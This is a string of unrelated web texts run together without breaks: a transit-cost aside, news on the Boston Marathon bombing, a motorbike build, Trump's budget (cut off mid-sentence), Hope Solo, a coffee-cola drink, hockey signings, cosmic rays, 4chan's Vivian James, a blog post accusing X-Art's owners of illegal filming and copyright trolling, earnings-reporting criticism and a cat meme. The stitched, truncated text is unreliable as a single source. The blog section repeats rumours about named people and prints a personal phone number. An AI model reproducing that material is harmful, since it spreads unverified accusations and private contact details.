Aside: On Presenting Reproducible Numbers One thing I found during this work is that the story could change if the numbers were picked slightly differently, if I made different choices and assumptions. It would be possible to make the metro look unprofitable or make it look much more profitable, by changing the way costs and revenues are split between buses and metro, or if one were to sneak the cost of paratransit into the equations. So if somebody provides numbers like this, it’s important that they publish their assumptions and calculations alongside it. This brings us back to the graph made by CDPQInfra, the private promoters of the REM. Firstly you can see that the Montreal metro is as cheap or cheaper to operate than the fully-automated REM would be in the future (19c vs 19-25c). But also, note that both the Metro system itself and the STM overall are cheaper to operate than whatever ‘existing networks’ CDPQInfra presents, and that the total cost including capital costs is much lower as well. They are showing numbers without providing the details of their calculations, trying to tell a story that may not withstand scrutiny. This is a bit concerning, because their whole story of profitable transit, which is presented as having the same overall cost as the existing transit lines, is used to justify important policy decisions and spending of large amount of public money.Killeen, Texas, fire-fighter Charles Layton salutes a procession of vehicles in honor of fallen fire-fighter Captain Kenneth "Luckey" Harris Jr. following funeral services at St. Mary's Catholic Church of the Assumption in West, Texas, April 24, 2013. REUTERS/Tim Sharp
CAMBRIDGE, Massachusetts (Reuters) - The security planning for last week’s Boston Marathon, where two bombs went off killing three people and wounding 264, included preparation for such an emergency, a top Massachusetts public safety official said on Wednesday.
“We spend months planning for the marathon. We did a tabletop exercise the week before that included a bombing scenario in it,” Kurt Schwartz, the state’s undersecretary for homeland security, told a panel at Harvard University.
Two bombs went off at the finish line of the race, one of the most-attended sporting events in Boston, where there was a crowd of tens of thousands of spectators.
Given the public nature of the marathon, which is run along a 26.2-mile (42.2-km) course stretching from suburban Hopkinton, Massachusetts, to downtown Boston, security officials said they take into account a variety of possibilities.
Planning rules adopted since the September 11, 2001, attacks on New York and Washington “have forced you to do that, to think about the unthinkable,” Boston Police Commissioner Ed Davis told the panel. “When you do that, when you envision what might happen... you respond in a way that is probably more thoughtful.”
Investigators have accused two brothers of Chechen ethnicity - Tamerlan Tsarnaev, who died in a gun battle with police, and Dzhokhar Tsarnaev, now in custody - with planting the bombs.It’s getting harder and harder to categorize custom bikes. We all know a traditional cafe racer when we see one, but these days we’re just as likely to stumble across a ‘cafe’ bike with dual sport tires. Or a bobber with clip-ons and racing rubber.
Some mash-ups hit the mark, and some don’t. This is most definitely one that does: a fusion of café racer and chopper styles that could never work on paper, but looks amazing in the metal.
It’s the work of Christian Klein, who first graced these pages six years ago with an unusual Ducati 350. Klein is not a man to follow trends, and he’s stretched this Honda CB900 almost beyond recognition.
It’s owned by Karl Stromberg, an architect based in Duisburg, Germany, who originally asked Christian to work on a CB550. But Karl is a tall guy, so Christian suggested the Honda CB900—also an air-cooled inline four, but capable of around 12 seconds for the quarter mile and topping out at 120 mph (193 kph).
“I wanted the bike to look different to those normally seen on the internet,” says Karl. “With a long and low appearance—mean and dirty. And definitely no Harley engine.”
“Christian has magic mechanical skills, and he’s a wonderful artist as well. He made just one very simple sketch on a little piece of paper in a bar, and the project started.”
A 1980-spec Honda CB900 was lifted onto the bench. Soon, only the engine remained intact: Christian has kept the front downtubes and most of the top of the frame, but binned everything else.
He’s increased the rake, and fitted shortened Suzuki GSX600 forks to keep the front end under control. LSL bars are home to chunky, one-off aluminum brake and clutch reservoirs, and a full suite of Motogadget components—including a speedo, turn signals and controls.
The headlight is an aftermarket part with modern styling, and gives the Honda more character than a simple retro bowl would.
The seriously heavy fabrication is at the back though, with a long, straight swingarm from a Kawasaki GPz 1000 grafted on—modified to work with a new single-shock setup. The battery is hidden near the pivot point, and old school Tarozzi rearsets sit alongside.
Stopping power comes from Brembo brakes lifted off a Ducati Monster. They’re hooked up to custom-made spoked wheels.
The tank cover is a made from aluminum, grafted over a modified Suzuki fuel cell, with a waspish, leather-covered seat and tail unit behind. Originally designed as a custom part for the Yamaha SRX 600, it hides a very discreet LED taillight.
With a solid 95 horsepower on tap, there was no need for engine work. But it’s been refreshed and tuned to breathe through four separate K&N high-flow filters. And we can only imagine the sound through the short, open megaphone exhaust system …
It’s a raw and uncompromising custom, unapologetically built for looks as much as anything. It recently wowed the readers of the top German magazine Custombike, and you can count us as fans too.
Images by Ben Grna of Da Guru PhotographyPresident Donald Trump is determined to fulfill his campaign promise of shaking up Washington with his massively disruptive 2018 budget proposal. To hard-line conservatives in Congress, however, Trump's "Hannibal Lecter" budget still doesn't cut domestic spending or increase military spending enough.
“We wrote it using the president’s own words,” Office of Management and Budget Director Mick Mulvaney told MSNBC on Thursday morning as the budget was released. “We turned those policies into numbers.” A look at the budget, however, finds funding proposals more directly in line with White House chief strategist Stephen K. Bannon's vow — to achieve the "deconstruction of the administrative state."
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Trump’s first budget proposal, which he named “America First: A Budget Blueprint to Make America Great Again,” would cut the funding of the Environmental Protection Agency 31 percent, the State Department 28 percent and the Department of Health and Human Services 17.9 percent. In total, Trump's budget strips funding from more than 18 federal agencies.
The administration |
the NBC broadcast of the Americans' 3-0 win over Colombia on Saturday.
"We had a conversation: If you look at the women's national team, what do you want (people) to see? What do you want them to hear?" Sundhage told reporters at the team hotel. "And that's where we do have a choice as players, coaches, staff, the way we respond to certain things."
Solo rattled off four tweets following Saturday's game, upset over Chastain's criticisms of the team's defensive play.
"Its 2 bad we cant have commentators who better represents the team&knows more about the game," tweeted Solo. She also told Chastain to "lay off commentating about defending" and goalkeeping "until you get more educated" and "the game has changed from a decade ago."
Those are hardly the type of positive comments the naturally upbeat Sundhage likes to hear, especially in the middle of one of the sport's biggest showcases.
"On the field, it's OK to make a mistake. There's no such thing as a perfect game," Sundhage said. "And sometimes you make a mistake outside the field as well. Myself as well. I've regretted that I've said that or whatever, but at the end of the day if you have good teammates and recognize it and say something that we are proud of, then it is easier to prepare for the next game because it's all about the next game."
The meeting with Solo took place after the team arrived in Manchester, where the Americans (2-0) will play the North Koreans on Tuesday in a game that will determine pairings for the quarterfinals. Co-captain Abby Wambach said the meeting lasted about five minutes.
The team said will Solo be available for comment Monday, following a walkthrough at Old Trafford. She did take to Twitter again on Sunday, however, to respond to a reporter's tweet that she wouldn't be disciplined.
"discipline? Ha! For what! Never even a topic! We talked about our team deserving the best!" she tweeted.
Chastain, one of the most accomplished players in U.S. team history, refused to be drawn into the fray.
"I'm here to do my job, which is to be an honest and objective journalist at the Olympics, nothing more than that," said Chastain, who earned 192 caps from 1988-2004 and is best known for scoring the decisive penalty kick in the World Cup final in 1999.
Wambach said the meeting focused on the goal of maintaining a "bubble" around the team during the Olympics.
"We just wanted to get on the same page on the things that we are focused on," Wambach said. "And the things that we're going to be talking about, whether it be in the media or behind closed doors with your teammates.... We have to appreciate different people's personalities and their opinions. However, we also want to create a bubble. We want to create some sort of symmetry in terms of what we're doing here and why we're here, and that's what we're all about."
Wambach also noted that TV commentators have nothing to do with winning gold medals.
"At the end of the day, none of it matters," Wambach said. "Because what really does matter is the results."
Sundhage said she didn't tell Solo to stop tweeting or to tone it down.
"I don't punish people," Sundhage said. "And I don't know what's right and wrong."
Five years ago, Solo expressed an opinion that made her the recipient of the starkest punishment ever dealt to a U.S. women's national team player. She was essentially kicked off the squad at the 2007 World Cup after she criticized then-coach Greg Ryan for benching her for the semifinals.
She made her way back onto the team to become arguably the best goalkeeper in team history, anchoring the gold-medal run at the 2008 Olympics and winning the golden glove award for top goalie at last year's World Cup in Germany.
Now she's a media superstar, highlighted by her appearance on "Dancing With the Stars" last fall, and she hasn't stopped making waves. Three weeks ago, she had what is believed to be the first positive drug test in the history of the program, receiving a warning over the banned substance Canrenone. She said it resulted from a premenstrual medication prescribed by her doctor.
Solo was also one of several athletes quoted extensively in an ESPN The Magazine story about sex in the athletes village during the Beijing Olympics.
"Athletes are extremists," Solo told the magazine. "When they're training, it's laser focus. When they go out for a drink, it's 20 drinks. With a once-in-a-lifetime experience, you want to build memories, whether it's sexual, partying or on the field. I've seen people having sex right out in the open. On the grass, between buildings, people are getting down and dirty."
She has also been promoting her book "A Memoir of Hope," scheduled for release two days after the London Games.
Nevertheless, Sundhage said she's not concerned about Solo's focus.
"Hope is different," Sundhage said. "What I see is one of the best goalkeepers in the world. If you look back, she's been dancing with the stars, she'd been in a lot of media, she's done this and that, and you would think, 'Well, will she ever come back to the game and will this be a distraction?' If you look at the way she played the first two games, I would say no. She's ready. She prepared. She wants to win, and she know what she needs to do."It’s called Coca-Cola Coffee Plus, and it has fifty percent more caffeine and fifty percent fewer calories.
According to Shin-Shouhin (via Get News), Coca-Cola Coffee Plus is a vending machine exclusive in Japan. Each 190ml can has 34mg of caffeine and only 42 calories. The coffee comes in the form of extract powder.
This kind of thing isn’t a first for Coca-Cola, which previously released Coca-Cola BlāK in Europe and the United States.
Shin-Shouhin says the drink doesn’t smell like coke, nor does it smell like coffee. The aroma is described as “curious” or “odd.” Shin-Shouhin writes, “To be frank, it’s not a very delicious aroma.” The initial taste, Shin-Shouhin continues, is cola-like, but the aftertaste is coffee. The total sensation, the site adds, isn’t one of harmony.
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“I didn’t think it tasted good, but it wasn’t as bad as I thought it would be,” Shin-Shouhin writes, adding that different people respond to different flavors.
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That explains why a writer for ASCII Gourmet digs the drink, saying he quite liked it.Forward Sam Reinhart, the second selection in the 2014 NHL Draft, has signed a three-year entry-level contract with the Buffalo Sabres, the team announced Saturday. Financial details were not disclosed.
"We are very excited to have Sam under contract," Sabres general manager Tim Murray said. "We look forward to watching him develop and become an important part of our organization in the future."
Reinhart, 18, spent the past four seasons with the Kootenay Ice of the Western Hockey League. In 203 WHL games, he scored 101 goals and 254 points. He served as captain in 2013-14 and was named WHL Player of the Year and Most Sportsmanlike Player of the Year after tying Edmonton Oilers prospect Leon Draisaitl, the No. 3 pick, for fourth in league scoring with 105 points.
Reinhart, the son of former NHL player Paul Reinhart, was captain for Canada when it won the gold medal at the 2012 Ivan Hlinka Memorial tournament and at the 2013 IIHF Under-18 World Championship.
The Sabres also announced the signing of forward Jordan Samuels-Thomas to a one-year entry-level contract. Financial details were not disclosed.
Samuels-Thomas was selected by the Atlanta Thrashers in the seventh round (No. 203) of the 2009 NHL Draft. The Sabres acquired his rights July 9 from the Winnipeg Jets in a trade for a conditional seventh-round pick in the 2015 draft.
The 24-year-old Connecticut native began his college career with Bowling Green State University before transferring to Quinnipiac University, where he played the past two seasons. In his first season with the Bobcats, Samuels-Thomas led the team with 17 goals and helped Quinnipiac to the NCAA championship game, where they lost to Yale University.A "hotspot" in the sky near the Big Dipper may be a major source of the ultra-high-energy cosmic rays that routinely bombard the Earth, report physicists using a giant array of specialized telescopes in the Utah desert.
Discovered just over a century ago, cosmic rays are really just the cores of atoms speeding through space, sometimes striking the Earth. Most of these atomic nuclei come from the sun or nearby exploding stars. But the origin of the most powerful ones, which come from beyond the Milky Way, is still a mystery.
The hotspot observations don't solve that mystery yet, said Gordon Thomson, a professor of physics at the University of Utah and lead author of the discovery paper, set to be published in Astrophysical Journal Letters. But they do give astronomers a specific patch of the sky to focus on.
"These are exciting times" for cosmic-ray researchers, said Karl-Heinz Kampert, a physicist at the University of Wuppertal in Germany, who does research at the Pierre Auger Gamma Ray Observatory in Argentina. Solving the mystery of the origin of the most powerful cosmic rays might offer astrophysicists views of natural experiments in high-energy particle physics, for free, ones that no lab on Earth could ever provide.
A Huge Patch of Sky
Identifying where the high-energy cosmic rays may be coming from is the good news. The bad news is that the patch is huge: It spans 40 degrees of the northern sky, which amounts to a circle 80 times the size of the full moon.
"It's a very large area," Thomson admitted, "and there's a lot of stuff in there."
The stuff that interests Thomson and his colleagues includes some of the most energetic events in the universe—jets of matter that spew from violently exploding stars, for example, or even bigger jets discharged by giant black holes. All might be the source of high-energy cosmic rays.
"Theorists have come up with several possibilities for what the source might be," said Thomson, "but we don't really know yet."
Whatever is generating these most powerful of cosmic rays gives the particles at least a billion billion electron volts of energy—the wallop packed by a major-league fastball concentrated into the minuscule volume of an atomic nucleus.
Catch a Cosmic Ray
Fortunately for people, ultra-high-energy cosmic rays and their weaker cousins don't penetrate the atmosphere. Unfortunately for astronomers, that makes it harder to figure out exactly where they come from.
Instead, the Telescope Array (that's its actual, rather generic, name) in Utah that Thomson and his colleagues used detects cosmic rays by spotting the faint flash of light and the shower of "secondary particles" created when a ray slams into an air molecule high in the atmosphere.
Ideally, the scientists would simply look back along the direction of each flash to pinpoint the origin of cosmic rays. But their trajectories through space are bent by intergalactic magnetic fields. That means it's impossible to simply trace one back precisely to where it originated.
So the hotspot, for now, is a rather broad area that contains all the possible origin points for these magnetically buffeted cosmic rays from deep space.
Wish Upon a Star
Still, it's a start, and the discovery of a hotspot allows astronomers to hone the search area down even more. Thomson and his colleagues hope to narrow it down further by expanding the array to detect more sky flashes.
If all of the cosmic rays in the 40-degree patch are truly coming from a single source—one black hole, for example—the Telescope Array could ultimately shave the patch down to a five-degree circle, Thomson said. That is not exactly a pinpoint, but small enough that conventional telescopes might be able to identify the actual source, or sources.
In Argentina, meanwhile, the Pierre Auger telescope has found not a hotspot but at least a "warm spot" in the Southern Hemisphere's sky that may represent another source of ultra-high-energy cosmic rays.
"It looks like the Telescope Array hotspot is just outside our field of view," said Gregory Snow, a physicist from the University of Nebraska-Lincoln, who does research at the Auger observatory. "That's why it's great to have cosmic-ray experiments in both hemispheres, so together they can view the entire sky."image via the Fine Young Capitalists' Twitter account
Vivian James is the fictional everywoman of gaming. She wears a striped hoodie and drinks Mountain Dew Throwback. Her name is a play on “vidya games.” She’s a regular person who wears jeans and spends too much time on the internet. And she was created out of spite by the historically anti-feminist gamers of 4chan.
Here’s some background: Gamers on 4chan are pouring time and energy into backing a project that sponsors female-created video games. Did they have a crisis of conscience? Not exactly. Their charitable efforts are part of a plan to spite Zoe Quinn, creator of the game Depression Quest. A portion of the users on /v/, 4chan’s video games forum (a place historically unfriendly to women and especially to feminists), have long disliked Quinn, a self-proclaimed feminist, for reasons that aren’t especially clear but feel suspiciously like good old-fashioned misogyny.
In February 2013, Quinn’s Depression Quest debuted on Greenlight, the open submissions system of gaming network Valve. Almost instantly, Quinn became the target of a nightmarish amount of harassment, ranging from name-calling to rape threats. One counterintuitive accusation they’ve hurled at Quinn is that she’s a “fake feminist.” Since gaming culture on the whole is notoriously anti-feminist, I’m not clear on why these gamers would be angry at someone who they felt was “faking” feminism—nor am I sure how one does that—but it appears to offend them greatly. Quinn received so many threats that she changed her phone number. The same trolls then accused her of faking the harassment to “get attention.” It was an ugly scene.
So it’s no great surprise that these trolls felt victorious when, one annoying August day, Quinn’s ex-boyfriend Eron Gjoni wrote several blog posts claiming that Quinn had a series of affairs with members of the gaming community who were in positions to give publicity to Quinn’s game—most prominently, Kotaku reporter Nathan Grayson. After reading Gjoni's descriptions of the affairs, descriptions which were open-ended in their significance, some of those documenting the drama interpreted this open-endedness to be allegations of sex in exchange for positive press for Quinn's game. There is no evidence that Grayson ever even wrote a review of the game, and Gjoni later “clarified” this claim by essentially rescinding it, but Quinn’s hater base was already fired up, apparently unfazed by the fact that Gjoni’s posts were simply those of a recently jilted ex-boyfriend.
To add fuel (irrelevant fuel, but fuel nonetheless) to the fire, a Reddit user claimed that Quinn purposely sabotaged a female-centric “game jam,” sponsored by feminist group the Fine Young Capitalists, in order to promote her own female-centric game jam, Rebel Jam. Needless to say, this is not the kind of event that 4chan’s gaming community would get excited about. But they’d developed a taste for blood, and they saw an opportunity to make Quinn look bad in the eyes of the feminists she usually called allies. So /pol/, 4chan’s politics forum, pitched the idea of donating money to the Fine Young Capitalists’ female-created video games project, arguing that it would make 4chan “look really good.” The idea quickly gained support on /v/. One user described the plan thusly: “We sponsor [the Fine Young Capitalists]. We... become its rallying cry for ‘breaking down the merit wall in gaming’... Can you imagine? 4chan attacks the cancer and... sponsors the chemo AT THE SAME TIME. We’d be PR-untouchable.”
No really, I'm impressed that 4chan saved gaming by manufacturing a woman who agrees with them. — Cameron Lauder (@UnarmedOracle) August 26, 2014
For days, 4chan was the number-one supporter of the Fine Young Capitalists’ project. Soon a 4chan user suggested that 4chan take their support a step further and design a female character (warning to anyone who follows that last link: It includes material from 4chan, so expect slurs) for the Fine Young Capitalists. Other users quickly embraced the idea. One user suggested the character should be “just an average female gamer to troll everyone,” because “all the tards in the media” would (reasonably) expect something sexist and/or gross from 4chan. And so, from the muck of cynicism and spite, Vivian was born. And 4chan saw all that they had made, and behold, it was very good—according to them, and to their strange new bedfellows, the Fine Young Capitalists. TFYC tweeted that they would, indeed, work Vivian into whichever game they created. And the gamers of /v/ rejoiced, for their character, born of intolerance, had managed to become some sort of perplexing symbol for women in gaming.
TFYC received plenty of criticism for embracing Vivian, of course, and responded by saying—and this is a quote—“when you say that 4chan cannot take part in a project, you are oppressing them.” And that was when my brain said, “So long, world, it’s been fun,” and leaped to its own death.
Vivian James is a character masquerading as a feminist icon for the express purpose of spiting feminists—yes, that’s feminists, plural. It’s not just Zoe Quinn that /v/ wants to take down—it’s the entirety of what they derogatorily call “SJWs,” or “social justice warriors." People who, according to Urban Dictionary, engage in “social justice arguments on the internet... in an effort to raise their own personal reputation.” In other words, SJWs don’t hold strong principles, but they pretend to. The problem is, that’s not a real category of people. It’s simply a way to dismiss anyone who brings up social justice—and often those people are feminists. It’s awfully convenient to have a term at the ready to dismiss women who bring up sexism, as in, "You don’t really care. As an SJW, you’re just taking up this cause to make yourself look good!"
If this stupidly complicated story has left you exhausted, as it has me, I have some good news: Gamers on Reddit (and plenty on 4chan) are already weighing in on whether they would have sex with this cartoon woman. At least that much is a constant in this world.
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Editor's Note: A previous version of this article stated, "Gjoni alleged that Quinn traded sex with Grayson in exchange for a positive review of her game." This has been changed to convey a more nuanced version of events. Gjoni himself has relayed to VICE that such allegations were never his intent.Marisol Malibu: an illegal porn production capital of Ventura County
11802 Ellice Street, Malibu, CA 90265. The showcase property of the posh Marisol Malibu community, located in unincorporated Ventura County, was designed by a renowned architect Barry Berkus who died in 2012 — before the house was sold to Brigham Field and Colette Pelissier — “barely legal” hardcore pornographers and probably the most infamous copyright trolls. To some extent, Mr. Berkus was lucky: he didn’t have to watch how his masterpiece was used as a porn production warehouse for three years.
X-Art owners bought this house for $16 million in June 2013, shortly after they “won” a farcical “Bellwether trial,” and they immediately started shooting porn there.
In 2014, the Brigham and Colette intended to buy an adjacent empty lot, but for some reason didn’t. Instead, two weeks ago they listed their house for sale — for $25 million.
It is rumored that our once successful pornographers are currently falling into a financial abyss, which prompted the sell (I was told that the Fields are selling other property). Lacking solid facts, I don’t want to speculate why and how it happened. Yet all the signals (including the attorney situation described in the next section) suggest that the troubles are real.
As I wrote in my 2014 story, the porn production at this house was illegal for two reasons: first, commercial filming is not permitted in the coastal residential area at all; second, filming without permission and/or shooting porn without barrier protection violates Ventura County Ordinance 4452, which provides for criminal penalties:
Any person or entity who produces or films an adult film for commercial purposes in the County without a valid permit, or any person, who violates any law, ordinance or regulation governing any activity regulated by this chapter, or who, upon demand of the Director, refuses or neglects to conform to a lawful order or directive of the Director pertaining to conduct regulated by this chapter, is guilty of a misdemeanor punishable by a fine of $1,000, imprisonment in the County jail for a period not exceed six months, or both. Each such act is punishable as a separate offense.
So, why did X-Art continued filming with impunity even after I broke the story about the illegal activity? Because no one seemingly cares: while this ordinance was sponsored by the county superintendent Linda Park in 2013, it looks like this law was never meant to be enforced. When I contacted Ms. Park’s office, I received the following reply:
Thank you for your e-mail. We contacted the County Code Compliance Department and the Director informed us that that Code Compliance would need to be provided “a filming schedule or be contacted when filming is occurring” so they can respond and document the violation, and that unfortunately the screen shots are not adequate proof for them to take criminal action.
Seriously?
Right, the screenshots are not adequate proof. Look, during the last month only X-Art posted eight porn flicks. Six of them were filmed at the Marisol mansion. Click the (NSFW!) links below to see screenshots and compare them with the photographs from the property listing.
I’ll leave it here. It is not my job to build a case for the Ventura’s AG. If the laws in this county are applied selectively, it’s not my business: I neither pay taxes nor vote there.
All I wanted was to stress one more time that the trolls can’t claim a moral high ground regarding “losses due to illegal file-sharing”: copyright infringement is a tort, yet the nature of violations we witness from the “victims of piracy” is criminal.
I don’t want to be a buyer who spends $25 million only to find out later that dozens and dozens of porn shoots took place in the new home. One can clean up bodily fluids, but the reputational stench stays forever.
This new buyer should blame the sales office / community management: they deliberately chose to assume an ostrich position. When I tweeted to @marisolmalibu about the situation, their response was… to block me from following.
Keith Lipscomb, Emilie Kennedy, and Pillar Law Group, APLC
I already wrote about the surprising crack in the relationship between X-Art and Keith Lipscomb. Given the latest events, an opinion that a lawyer shared with me on what could possibly happen gained a new weight:
Typically, attorneys are not required to state with specificity why they are withdrawing apart from the generalized statements you saw in Lipscomb’s filings. This is because often times, revealing the reasons might implicate privilege issues. Unless the case is close to trial, or there is some other irregularity in the case, most requests to withdraw are granted. Now, as for the reasons. In the vast majority of cases, motions to withdraw are based on the client’s failure to pay. If Lipscomb et al., are trying to withdraw only from cases that are approaching trial, this might indicate that he has some type of tier fee structure with Malibu Media. My guess would be that Lipscomb et al., will take the case on contingency up to a point, after which Malibu has to start paying some part of their fees/cost (experts, travel, court reporters etc…). For example, if Malibu was responsible for all fees related to the trial but didn’t pay, Lipscomb could seek withdrawal for those reasons. The only other reasons that a lawyer will typically withdraw representation are if: 1) the client stops cooperating with, or lying to the attorney or asks that he withdraw; or 2) the client is requesting that the attorney commit some action that would violate the law, or the rules of professional conduct. My best guess would be money is the issue.
There is more than that. All the three attorneys, who helped Keith Lipscomb to part productive citizens from their hard-earned money, are not listed on the Lipscomb, Eisenberg and Baker’s website any longer:
Daniel Shatz found a new job at Stroock & Stroock & Lavan LLP;
Jessica Fernandez (Malibu Media v Raleigh in Michigan and Florida cases) did not update her LinkedIn profile yet;
Emilie Kennedy is now employed by a Beverly Hills law firm Pillar Law Group, APLC and de facto became the Troll Grandmaster.
Pillar Law Group became the destination for settlement checks sometime in April. The firm’s founders, Art Kalantar and Henrik Mosesi, hastily added “copyright” to the firm’s specializations, and Kennedy seemingly physically moved to California (as I deducted from her tweet):
Five hour flight with two cats. What an adventure. — Emilie Kennedy (@emiliekennedy05) May 24, 2016
Colette Pelissier and Henrik Mosesi
As I understand, this firm’s attorneys (Henrik Mosesi in particular) were acquainted with X-Art for a while, but were not involved in the copyright shakedown aspect of X-Art’s business. Now they are.
The other attorneys, who work for Pillar Law, are:
Edgar Sargsyan
Anthony C. Williams
Anthony H. Lupu
Art Kalantar
(Артём Калантарян) Art Kalantar(Артём Калантарян)
I don’t know if those guys will be helping Emilie to keep the enormous Malibu Media nationwide caseload afloat. Since Florida is ironically now the only state where Malibu doesn’t have a local counsel, Ms. Kennedy herself already appeared in the Malibu Media v. Rodlan appeal (I’ll report on this case in the following days). There was also some help attempt from local attorneys: the lawyer-playing kids Brian Heit and Brenna Erlbaum unsuccessfully tried to salvage Malibu Media v Raleigh (by immaturely emailing the MIWD chambers on the deadline to replace Malibu’s counsel), and Heit is currently seeking a pro hac vice admission to pick up Malibu Media v. Weaver (FLMD 14-cv-01580). I guess he will attempt to appear in Malibu Media v Curt Vandenheuvel (FLMD 13-cv-01579) as well. [6/3/2016 update: today was a deadline for the plaintiff’s counsel replacement in Weaver, and Emilie Kennedy decided to pick up the case herself.]
Of course, no new Malibu Media cases were filed since April 14, and I predict that the existing ones will die slowly — given the lack of experienced lawyer workforce (like the Miami’s team was) and X-Art’s apparent financial troubles. This is both good and bad news. Obviously good for those sued who are currently sitting and waiting, and not-so-good for those who expect to get attorney fees back from the troll if the troll goes bankrupt.
It seems to me that Colette’s ill-gotten wealth came and went, and with thousands of lives unnecessarily steamrolled over minor copyright violations, the world became a slightly colder place.
Nouveau riche means “newly rich” in French. One who has recently become rich, especially one who flaunts newly acquired wealth.
Nouveau riche is a term, usually derogatory, to describe persons who acquire wealth within their generation, and spend it conspicuously. The implication is that, being of lower- or middle-class origin, these individuals lack the taste to properly use wealth. Hence, this class of people is sometimes ill-regarded by old money as culturally inferior, comparatively lacking in pedigree and subtlety.
The benchmark of the “nouveau riche” is their acquiring possessions which are touted to them as being the sort of things that rich people would possess. “Old money” in traditional European societies has inherited a large house filled with well-built furniture acquired over the centuries. Their cars are not necessarily the most expensive and capable, but have a bit of restraint, or else they disguise their social position in cars of the middle rank. During the Great Depression, Chryslers, for example, were sold to such people for this reason. They fit within a social milieu in which everyone knows everyone else and has for generations. The “nouveau riche” in essence tries to crash this party by buying everything they need to show that they have money not merely within one generation but within a few years.
From the Urban Dictionary means “newly rich” in French. One who has recently become rich, especially one who flaunts newly acquired wealth.Nouveau riche is a term, usually derogatory, to describe persons who acquire wealth within their generation, and spend it conspicuously. The implication is that, being of lower- or middle-class origin, these individuals lack the taste to properly use wealth. Hence, this class of people is sometimes ill-regarded by old money as culturally inferior, comparatively lacking in pedigree and subtlety.The benchmark of the “nouveau riche” is their acquiring possessions which are touted to them as being the sort of things that rich people would possess. “Old money” in traditional European societies has inherited a large house filled with well-built furniture acquired over the centuries. Their cars are not necessarily the most expensive and capable, but have a bit of restraint, or else they disguise their social position in cars of the middle rank. During the Great Depression, Chryslers, for example, were sold to such people for this reason. They fit within a social milieu in which everyone knows everyone else and has for generations. The “nouveau riche” in essence tries to crash this party by buying everything they need to show that they have money not merely within one generation but within a few years.
Updates
6/3/2016
Looks like Colette is back at her pre-pornography occupation — real estate brokerage — at least as a part time job.
Agents: Colette Pelissier, Sotheby’s International Realty, (310) 481-6262
Debts won’t pay for themselves, and filming 10-min skin flicks using the the same “sophisticated plot” over and over again apparently didn’t turn out to be a bottomless gold mine as Brigham and Colette initially thought. Porn consumers crave novelty, and if there isn’t any, no matter how professional camera work is, paying subscribers eventually lose interest. In addition, I was told that Colette’s vanity project colette.com was a huge money burner an didn’t even break even. That’s my opinion on the reasons behind the recent events. I expect to hear Colette blaming piracy — an ever-convenient scapegoat — for her own bad decisions. Well, while unauthorized file sharing did have a certain negative impact, one needs to to be gullible to the point of idiocy to believe it was the reason behind the downfall.
5/8/2017
A weird news reported by TMZ today:
You correctly guessed that the “porn moguls” are Colette and Brigham.They’re not real. Corporate earnings, as interpreted by most analysts and journalists, are optimistic at best. At worst they’re just manipulated or phony. So while I hate to keep harping on this issue, the latest wave of bullish Q2 profit headlines has motivated me to do so.
The perceptional-delusion index is near record highs. Why so skeptical? Part of the problem is widespread use of “operating income” (aka pro-forma or non-GAAP) to support the bull-case. This distorted version of earnings excludes many so-called “nonrecurring” costs. Operating income is sold as being what a company would normally have earned. You just have to ignore certain sections of their books.
Exhibit A: Intel
Take Intel’s Q2 2009 press release, which touts “non-GAAP operating income of $1.4 billion“. That number excludes a $1.45 billion fine from the EU. Excluding this charge seems fairly reasonable at first. I mean, how often does a continent slap a $1.45b fine on you? But even when you exclude the $1.45 billion charge, “operating income” is still down $820 million from Q2 2008. You won’t find that in the bullet points.
The real problem is that these so-called “nonrecurring” events have become a regular quarterly tradition. Since the 90’s, companies have shifted the focus to OE. Common expenses, including fines, acquisition costs and investment losses are routinely excluded from headline numbers. Take a look at the highlights from Intel’s Q2 2008 release:
Operating Income up 67 Percent Year-over-Year
Net Income $1.6 Billion; EPS 28 Cents
The emphasis is clearly on operating income. Problems arise when the public starts basing their analysis on these numbers. Journalists who want an eye-grabbing headline can simply run with “Intel Income up 67%”. Analysts are guilty of steering the focus towards operating earnings.
“Nonrecurring” charges, boom or bust
In boom-times companies can lump costs like stock options and acquisitions into the nonrecurring category. During rough years, things like severance, layoffs and plant closings get dropped. No matter the economic climate, earnings will be presented in a way that reflects best-possible-scenarios. These “nonrecurring” or “one-time” costs are a part of doing business, and should be reflected as such in income statements.
Nonrecurring gains, you say? Oh yeah, let’s include those.
Conversely, one-time gains are often highlighted in corporate press releases and media headlines. Case in point: Visa’s Q2 2009 report. AP Headline: “Visa quarterly profit jumps 73 percent”. But that includes a one time gain from a Brazilian investment IPO. If you exclude it, the jump was 43% from last year, a huge difference.
Differing from traditional reporting
Pseudo-earnings are NOT the norm historically. Sweeping inconvenient charges under the rug is a fairly new phenomenon, which only took off during the 1990’s. In 2001 the SEC even issued a warning against Pro Forma earning manipulation.
So next time you hear someone say what a bargain stocks are, or see a chart of historic P/Es, check the data. If the methodology is not specified, assume the most optimistic multiples are being used. Permabulls invariably use the rosier version. Bears are also accused of using the version that supports our view. But there’s an important difference; Our version represents the actual bottom-line as traditionally measured. It’s not pessimistic, just realistic.
Effect on P/E Ratios and Historic Comparisons
According to most analysts and media, the S&P 500 currently trades at a P/E 0f ~16. Where they get this number, I don’t know. As we noted earlier this month, the real 12-month trailing multiple is 134x (as of June 30 2009, according to S&P). That’s reported profits, aka real earnings, bottom-line.
David Pauly had a nice Bloomberg editorial today on the issue, with specific examples (notably absent from the homepage, wouldn’t want to spoil the rally). He puts most of the blame on analysts, but I think media shares it. Excerpts:
In analystspeak, Intel Corp. wasn’t hit with a $1.45 billion fine from the European Union in the second quarter for anticompetitive practices. As Wall Street tells it, the employee stock options Google Inc. granted in the second quarter didn’t cost its shareholders $293 million. By similar Wall Street reckoning, the expense of cutting jobs and selling an asset that reduced McGraw-Hill Cos. second quarter earnings per share by 10 percent was immaterial.
Previous BN pieces on earnings distortion:
Disclosure: Long Google, no other positions in stocks mentioned.Planking is toast - cats are at the pawfront of the internet's latest half-baked meme.
Send your breading photos or video to newstips@stuff.co.nz
It started rising on the web last August and now has it's own Facebook page - dubbed in-bread - with more than 12,000 likes.
''Breading'', as the craze has become known, simply involves cutting a hole in your favourite piece of the daily staple and sticking it on your cat's head. Crumbs, you might say.
Gawker.com helpfully provides an easy guide for novices:
1.Take a piece of bread. If this is your first time, use a soft white bread. Experienced breaders will use rye or even multi-grain.
2. Cut a hole approximately 25mm larger than your cat's head. This trips some people up. Remember: the bread has to fit around the not just the cat's head, but its ears, too.
3. Gently place the bread around your cat's head.
4. Take a picture. Post it to the official in-bread cat Facebook page.• Coach says England have tried ‘to get into our half-back after he passes’ • ‘They are unified behind that strategy,’ Cheika adds of Eddie Jones’ side
